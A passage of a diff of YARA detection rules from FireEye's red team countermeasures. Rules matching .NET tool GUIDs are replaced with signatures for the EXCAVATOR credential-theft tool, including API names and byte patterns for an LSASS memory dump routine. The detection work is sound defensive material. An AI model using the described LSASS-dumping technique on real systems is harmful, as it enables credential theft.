30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 } + $bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* ) } -rule FIREEYE_RT_Builder_MSIL_Sharpgenerator_1 : FILE +rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGenerator' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "ab661cba-f695-59d2-9071-9b9a90233457" - date = "2020-12-08" + id = "e593b589-747d-53c2-a39a-57485e4f7641" + date = "2020-11-30" + date = "2020-11-30" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPGENERATOR/production/yara/Builder_MSIL_SharpGenerator_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_1.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "6dc0780e54d33df733aadc8a89077232baa63bf1cbe47c5d164c57ce3185dd71" + hash = "6a9a114928554c26675884eeb40cc01b" + logic_hash = "aa06628ddef0f95c4217b97a3476a0ee12e00d04c4827a512730598f3c80f1f6" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $typelibguid0 = "3f450977-d796-4016-bb78-c9e91c6a0f08" ascii nocase wide + $api1 = "PssCaptureSnapshot" fullword + $api2 = "MiniDumpWriteDump" fullword + $dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 } + $lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + (( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them } -rule FIREEYE_RT_MSIL_Launcher_DUEDLLIGENCE_1 : FILE +rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project." + description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL." author = "FireEye" - id = "86f0ebe5-110b-53e2-bba5-676f00c2cddd" + id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DUEDLLIGENCE/production/yara/MSIL_Launcher_DUEDLLIGENCE_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_2.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "a91bf61cc18705be2288a0f6f125068f" - logic_hash = "bd6abaa909f0c776d81ed1115e875888336661c91df3881f4f3ea5dd27e115f8" + hash = "6a9a114928554c26675884eeb40cc01b" + logic_hash = "408e8862f0c470105648fdba00dc5531ffcd739fa544f89acb70f0fa1b105c03" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 1 + rev = 3 strings: - $typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide + $bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 } + $bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 } + $bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 } + $bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 